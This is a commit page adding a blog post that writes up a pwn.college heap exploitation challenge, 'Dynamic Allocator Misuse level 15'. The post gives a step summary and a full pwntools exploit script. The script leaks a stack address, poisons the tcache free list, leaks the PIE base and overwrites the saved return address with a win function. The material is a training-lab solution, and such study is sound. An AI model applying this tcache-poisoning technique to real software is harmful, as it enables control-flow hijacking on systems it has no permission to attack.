Skip to content

Commit 751f7b4

Browse files
committed
F4-DAMM
1 parent 0d4d98a commit 751f7b4

File tree

1 file changed

+97
-0
lines changed

1 file changed

+97
-0
lines changed
Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
---
2+
layout: post
3+
title: (Dynamic Allocator Misuse) level 15
4+
categories: pwn.college Dynamic-Allocator-Misuse
5+
date: 2025-10-11 07:00:22 +0300
6+
tags: pwn.college PIE ASLR heap house-of-force tecache metadata house-of-spirit
7+
---
8+
## Information
9+
- category: pwn
10+
11+
12+
## Description
13+
> Leverage TCACHE exploits to obtain the flag.
14+
15+
## Write-up
16+
17+
**Goal:** leak a return address from the stack, compute PIE base, pivot `malloc` so a chunk points at the return address, overwrite it with `win`, and trigger the return.
18+
19+
## Summary
20+
1. Leak a stack pointer using an `echo` primitive.
21+
2. Compute the saved return address using a known offset from that leak.
22+
3. Force the next `malloc` to return a chunk that points at the return address.
23+
4. Use the chunk to leak PIE (from an offset near the return address) and compute `win`'s absolute address.
24+
5. Overwrite the saved return address in-place with `p64(win_addr)`.
25+
6. `quit`/return → execution jumps to `win`.
26+
27+
## Exploit
28+
```python
29+
from pwn import *
30+
31+
elf = context.binary = ELF("/challenge/ephemeral-echo-hard")
32+
global p
33+
p = elf.process()
34+
35+
def malloc(idx,size):
36+
p.sendline(b"malloc")
37+
p.sendline(idx)
38+
p.sendline(size)
39+
40+
def free(idx):
41+
p.sendline(b"free")
42+
p.sendline(idx)
43+
44+
def echo(idx,offset):
45+
p.sendline(b"echo")
46+
p.sendline(idx)
47+
p.sendline(offset)
48+
49+
def read(idx,size,data):
50+
p.sendline(b"read")
51+
p.sendline(idx)
52+
p.sendline(size)
53+
p.sendline(data)
54+
55+
def quit():
56+
p.sendline(b"quit")
57+
58+
def exploit():
59+
malloc(b"0",b"0")
60+
61+
echo(b"0",b"40")
62+
63+
p.recvuntil(b"Data: ")
64+
stack = u64(p.recvline().strip().ljust(8,b"\x00")) + 0x176
65+
log.success(f"stack: {hex(stack)}")
66+
67+
malloc(b"0",b"0")
68+
malloc(b"1",b"0")
69+
malloc(b"2",b"0")
70+
71+
free(b"2")
72+
free(b"1")
73+
74+
data = b"A"*0x20 + p64(stack)
75+
read(b"0",b"2008",data)
76+
77+
malloc(b"0",b"0")
78+
malloc(b"0",b"0")
79+
80+
echo(b"0",b"32")
81+
82+
p.recvuntil(b"Data: ")
83+
win = u64(p.recvline().strip().ljust(8,b"\x00")) - 0x00000000000015ce + 0x0000000000001400
84+
log.success(f"stack: {hex(win)}")
85+
86+
read(b"0",b"2008",p64(win))
87+
88+
quit()
89+
90+
p.interactive()
91+
92+
def main():
93+
exploit()
94+
95+
if __name__ == "__main__":
96+
main()
97+
```

0 commit comments

Comments
 (0)